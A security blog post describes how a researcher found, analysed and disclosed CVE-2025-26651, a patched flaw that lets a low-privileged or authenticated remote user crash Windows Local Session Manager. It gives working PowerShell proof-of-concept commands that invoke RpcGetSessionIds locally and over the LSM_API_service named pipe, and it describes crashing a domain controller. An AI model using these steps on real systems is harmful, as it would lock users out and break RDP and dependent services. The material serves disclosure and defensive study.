CVE-2025-26651: Pressing the LSM kill switch
Revealing a vulnerability in Windows Local Session Manager (LSM), that causes it to crash
Revealing a vulnerability in Windows Local Session Manager (LSM), that causes it to crash
Warpnet colleague Remco van der Meer researched Microsoft Remote Procedure Call (MS-RPC) and stumbled upon several vulnerabilties in Windows built-in exposed procedures. One of them causes Local Session Manager (LSM) to crash by a simple RPC call. The vulnerability was patched within April’s patch tuesday and was assigned CVE-2025-26651. This post will describe how Remco discovered the vulnerability and will describe it’s impact and attack-surface.
To be honest, this is the most boring part of the story. I ran my fuzzer against all dll’s and exe’s in \Windows\System32\
. After running it nothing seemed to have happen. But once I wanted to reconnect to my VM over RPD I couldn’t anymore. Connecting normally with Hyper-V was allowed, but once I wanted to login this error showed up:
What happend? Of course I ran it again to see if it was actually triggered by my fuzzer or that it was just coincidence. And yes, it happend again. Because I fired my fuzzer against all the DLL’s and executables in the System32
, I was not sure what RPC call caused this behaviour.
I opened event viewer and cleared the system logs. After running my fuzzer again, I checked event viewer and noticed this:
It seemed that something was crashing Local Session Manager (LSM). The Local Session Manager service is a system service responsible for handling user sessions. It plays a critical role in managing the lifecycle of user logins and logouts, coordinating with other system components to create, terminate, and switch between sessions. Because I ran my fuzzer from a low user perspective, this meant that a low user can crash LSM!
But how do we find what RPC call was made? Well for crashes like this it is a bit harder, because a RPC Server won’t respond with a message like “Hey I crashed” right? Oh wait; it does.
Checking the JSON output files after fuzzing, the RPC call RpcGetSessionIds
in lsm.dll
resulted in the error: Attempt to send a message to a disconnected communication port
. The RPC calls before that were other errors about some bad data. The RPC calls after that only resulted in the same error message.
Let’s reboot the host and make the RpcGetsessionIds
call manually. The definition of the call is:
RpcGetSessionIds(NtCoreLib.Ndr.Marshal.NdrEnum16 p0, int p1)
For the first parameter it takes a Marshalled NdrEnum16
and a integer as parameters. NdrEnum16
is a marshaling type used by Microsoft’s Network Data Representation (NDR) engine. It represents a 16-bit enumeration (enum) type, meaning it is a 2-byte integer used to transfer enum values in an RPC call.
The question is: What did my fuzzer use as values for these parameters? The fuzzer keeps a log that shows this:
RPCserver: lsm.dll
Procedure: RpcGetSessionIds
Params: 0, 0
------------------------
Okay, both values were just 0
, interesting. We can use NtObjectManager to get a RPC client that can connect to the RPC-interface of lsm.dll
. But we first set the path for the global symbol resolver.
# Parse debug.dll for symbols
$debuggerPath = "$env:systemdrive\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbghelp.dll"
Set-GlobalSymbolResolver -DbgHelpPath $debuggerPath
Next, we check the available RPC interfaces for the LSM RPC server:
PS C:\Users\user\Documents\RPC> $rpcinterface = "C:\\WINDOWS\\System32\\lsm.dll" | Get-RpcServer
PS C:\Users\user\Documents\RPC> $rpcinterface
Name UUID Ver Procs EPs Service Running
---- ---- --- ----- --- ------- -------
lsm.dll 11f25515-c879-400a-989e-b074d5f092fe 1.0 11 0 LSM False
lsm.dll 1e665584-40fe-4450-8f6e-802362399694 1.0 4 0 LSM False
lsm.dll 88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0 12 0 LSM False
lsm.dll 11899a43-2b68-4a76-92e3-a3d6ad8c26ce 1.0 4 0 LSM False
lsm.dll 53825514-1183-4934-a0f4-cfdc51c3389b 1.0 5 0 LSM False
lsm.dll e3907f22-c899-44e7-9d11-9d8b3d924832 1.0 7 0 LSM False
lsm.dll c2d15ccf-a416-46dc-ba58-4624ac7a9123 1.0 3 0 LSM False
lsm.dll 484809d6-4239-471b-b5bc-61df8c23ac48 1.0 21 0 LSM False
lsm.dll c938b419-5092-4385-8360-7cdc9625976a 1.0 2 0 LSM False
Hmm, okay it has a few. Luckily, my fuzzer keeps track over which RPC-interface the call was made. This seemed to be 88143fd0-c28d-4b2b-8fef-8d882f6a9390
. So the third one in the list. Let’s get that one:
PS C:\Users\user\Documents\RPC> $lsmint = $rpcinterface[2]
NtObjectManager will actually try to find what Windows Service is using this RPC interface:
PS C:\Users\user> $lsmint | fl
InterfaceId : 88143fd0-c28d-4b2b-8fef-8d882f6a9390
InterfaceVersion : 1.0
ProcedureCount : 12
Server : 88143fd0-c28d-4b2b-8fef-8d882f6a9390:1.0
Procedures : {Proc0, ServiceMain, ServiceMain, ServiceMain…}
ComplexTypes : {Struct_0, Union_1, Struct_2, Struct_3…}
Ndr64Procedures : {Proc0, ServiceMain, ServiceMain, ServiceMain…}
Ndr64ComplexTypes : {}
FilePath : C:\WINDOWS\System32\lsm.dll
Name : lsm.dll
Offset : 635824
ServiceName : LSM
ServiceDisplayName : Local Session Manager
IsServiceRunning : True
Endpoints : {}
EndpointCount : 0
Client : False
We can see it is LSM. But NtObjectManager couldn’t find any endpoints here. In order to connect a RPC client, we need a endpoint to connect to. Luckily, James Forshaw of course did some research into this and found a few methods to gather (Alpc) endpoints for RPC interfaces using a bruteforce method:
PS C:\Users\user> Get-RpcEndpoint -InterfaceId 88143fd0-c28d-4b2b-8fef-8d882f6a9390 -InterfaceVersion 1.0 -FindAlpcPort
UUID Version Protocol Endpoint Annotation
---- ------- -------- -------- ----------
88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0 ncalrpc LSMApi
88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0 ncalrpc OLE3F5803A8AB099E675A9C85E1B737
88143fd0-c28d-4b2b-8fef-8d882f6a9390 1.0 ncalrpc LRPC-804b316a3a786bb5e7
```
It finds three (Alpc) endpoints. It can even give us the binding string:
```powershell
PS C:\Users\user> (Get-RpcEndpoint -InterfaceId 88143fd0-c28d-4b2b-8fef-8d882f6a9390 -InterfaceVersion 1.0 -FindAlpcPort).BindingString
ncalrpc:[LSMApi]
ncalrpc:[OLE3F5803A8AB099E675A9C85E1B737]
ncalrpc:[LRPC-804b316a3a786bb5e7]
It finds three (Alpc) endpoints. It can even give us the binding string:
PS C:\Users\user> (Get-RpcEndpoint -InterfaceId 88143fd0-c28d-4b2b-8fef-8d882f6a9390 -InterfaceVersion 1.0 -FindAlpcPort).BindingString
ncalrpc:[LSMApi]
ncalrpc:[OLE3F5803A8AB099E675A9C85E1B737]
ncalrpc:[LRPC-804b316a3a786bb5e7]
We can use one of these binding strings to connect our client:
PS C:\Users\user> $client = $lsmint | Get-RpcClient
PS C:\Users\user> connect-rpcclient $client -StringBinding "ncalrpc:[LSMApi]"
# Check out connected client
PS C:\Users\user> $client
New : _Constructors
NewArray : _Array_Constructors
Connected : True
Endpoint : \RPC Control\LSMApi
ProtocolSequence : ncalrpc
ObjectUuid :
InterfaceId : 88143fd0-c28d-4b2b-8fef-8d882f6a9390:1.0
Transport : NtCoreLib.Win32.Rpc.Transport.RpcAlpcClientTransport
DefaultTraceFlags : None
Let’s check for the vulnerable RPC call RpcGetSessionIds
.
PS C:\Users\user> $client | gm | Where-Object { $_.Name -eq 'RpcGetSessionIds' } | fl
TypeName : Client
Name : RpcGetSessionIds
MemberType : Method
Definition : RpcGetSessionIds_RetVal RpcGetSessionIds(NtCoreLib.Ndr.Marshal.NdrEnum16 p0, int p1)
Great, now we can invoke the RPC call with the same parameter values as my fuzzer:
# Check LSM before invoking RPC call
PS C:\Users\user> Get-Service lsm
Status Name DisplayName
------ ---- -----------
Running lsm Local Session Manager
# Invoke RPC call
PS C:\Users\user> $client.RpcGetSessionIds(0,0)
MethodInvocationException: Exception calling "RpcGetSessionIds" with "2" argument(s): "(0xC0000701) - The ALPC message requested is no longer available."
# Check LSM after invoking RPC call
PS C:\Users\user> Get-Service lsm
Status Name DisplayName
------ ---- -----------
Stopped lsm Local Session Manager
We managed to manually verify that RpcGetSessionIds
is causing LSM to crash. But what is the root cause of this?
When I tried to exploit the vulnerability on a Windows-10 based machine, it didn’t work. So it seems there is a difference in how this call get’s handled by the RPC server on Windows 11. Let’s use Ghidra to see if we can get a better understanding of the root cause.
I attached Windbg to the LSM process, ran the RPC call and looked at the call stack:
One thing that I thought was odd, is that it triggers an debug break. Then I loaded lsm.dll
from a Windows-11 host in Ghidra, parsed the lsm.pdb and analyzed the binary. I set the base address and searched for the RpcGetSessionIds
function and eventually got here:
The function only seems to call DebugBreak
, which is a function in API-MS-WIN-CORE-DEBUG-L1-1-0.DLL
but is skipped when there is no debugger attached. With no debugger attached (normal case), the function should only return 0x80004001
which is the Windows message for Not implemented
.
undefined8 RpcGetSessionIds(void)
{
DebugBreak();
return 0x80004001; // Equivalent to "Not implemented"
}
Maybe you can already kinda see where this is heading to. Let’s compare this function with the lsm.dll
and lsm.pdb
from a Windows-10 based host (since W10 doesn’t seem vulnerable), using the same method with Ghidra.
This actually holds the functionality for RpcGetSessionIds
, whereas Windows 11 doesn’t. If we take a look at the call stack on Windows-11 in Windbg after crashing LSM, we see:
rpcrt4.dll
is the system library in Windows that actually implements the Remote Procedure Call (RPC) runtime. It seems that rpcrt4.dll
is not aware that RpcGetSessionIds
(Opnum 8) is not implemented anymore. Next to that, LSM doesn’t seem to properly handle the error and crashes. The question is: should the function be available on Windows-11 or should it not exist at all?
By crashing LSM, all users cannot login/logout anymore and the user’s session are unstable. Other than that, all dependencies on LSM wouldn’t work, these include RDP, Docker and security features such as Microsoft Defender Application Guard and Sandbox.
But what if a administrator is logged in and tries to start the service again? Well… not happening, the service is dead:
But wait, there is more..
After doing a bit of research online on previous discovered vulnerabilities on LSM, I came across this great blogpost by Akamai.
Which describes that: This interface is supposed to be only accessible through the hvsocket to containers. In our case, LSM registers a named pipe endpoint “\pipe\LSM_API_service”, which is remotely accessible. Because of endpoint multiplexing, a remote attacker can connect to the named pipe endpoint and send a request to the container’s interface.
Recall that we can connect to RPC through different protocols like TCP, UDP, HTTP and also SMB (ncacn_np).
The vulnerability that was stated in the blogpost was discovered in another RPC-interace c938b419-5092-4385-8360-7cdc9625976a
. However, it was in the same RPC server of LSM. To check if we can use \pipe\LSM_API_service
as named pipe to invoke the RPC call, we can first connect our RPC client using NtObjectManager locally:
PS C:\Users\user> connect-rpcclient $client -StringBinding "ncacn_np:[\\pipe\\LSM_API_service]"
PS C:\Users\user> $client
New : _Constructors
NewArray : _Array_Constructors
Connected : True
Endpoint : \Device\NamedPipe\LSM_API_service
ProtocolSequence : ncacn_np
ObjectUuid :
InterfaceId : 88143fd0-c28d-4b2b-8fef-8d882f6a9390:1.0
Transport : NtCoreLib.Win32.Rpc.Transport.RpcNamedPipeClientTransport
DefaultTraceFlags : None
It connects! Let’s see if we are allowed to invoke the vulnerable RPC call:
PS C:\Users\user> $client.RpcGetSessionIds(0,0)
MethodInvocationException: Exception calling "RpcGetSessionIds" with "2" argument(s): "(0x80070005) - Access is denied."
Access denied.. But there are some connection options like specifying the authentication type and level:
PS C:\Users\user> connect-rpcclient $client -StringBinding "ncacn_np:[\\pipe\\LSM_API_service]" -AuthenticationLevel PacketPrivacy -AuthenticationType WinNT
# Invoking the RPC call again
PS C:\Users\user> $client.RpcGetSessionIds(0,0)
MethodInvocationException: Exception calling "RpcGetSessionIds" with "2" argument(s): "(0xC000014B) - The pipe operation has failed because the other end of the pipe has been closed."
We get the error message again! And LSM is crashed. This means that we can remotely crash LSM too if we are authenticated. I wrote a Python script with impacket authentication (actually modified PetitPotam.py) and fired it against a Windows 11 host with port 445 & 139 opened:
How many times is port 445 or 139 open for a regular host? Not that often. But for the domain controller, these are open by default. Using domain credentials, a remote user can crash LSM on the DC!
Of course we can also target other hosts, as long as port 139 or 445 is open.
The vulnerability was patched within April’s patch tuesday. After installing the updates on a Windows 11 host and reversing the LSM.dll
file again with Ghidra, we can see the difference for the RpcGetSessionIds
function:
Now, it checks a feature flag via Windows Implementation Library (WIL). If the feature is disabled, it triggers a DebugBreak(). Regardless of the feature flag, it still returns E_NOTIMPL
. So the function was not removed, probably for compatability reasons.
01-03-2025 : Vulnerability report submitted
03-03-2025 : Case opened for the issue
10-03-2025 : Status changed from Review/Repro to Develop
10-03-2025 : Case is possibly in scope for a bounty and under review
18-03-2025 : Status changed from Develop to Pre-Release
20-03-2025 : CVE-2025-26651 granted, heads-up for April patch Tuesday
21-03-2025 : Case is in scope for a bounty
08-04-2025 : April’s patch tuesday includes the fix
10-04-2025 : Status changed from Pre-Release to Complete
16-04-2025 : Bounty awarded
Dit artikel is geschreven door Remco
Remco van der Meer
Ethisch Hacker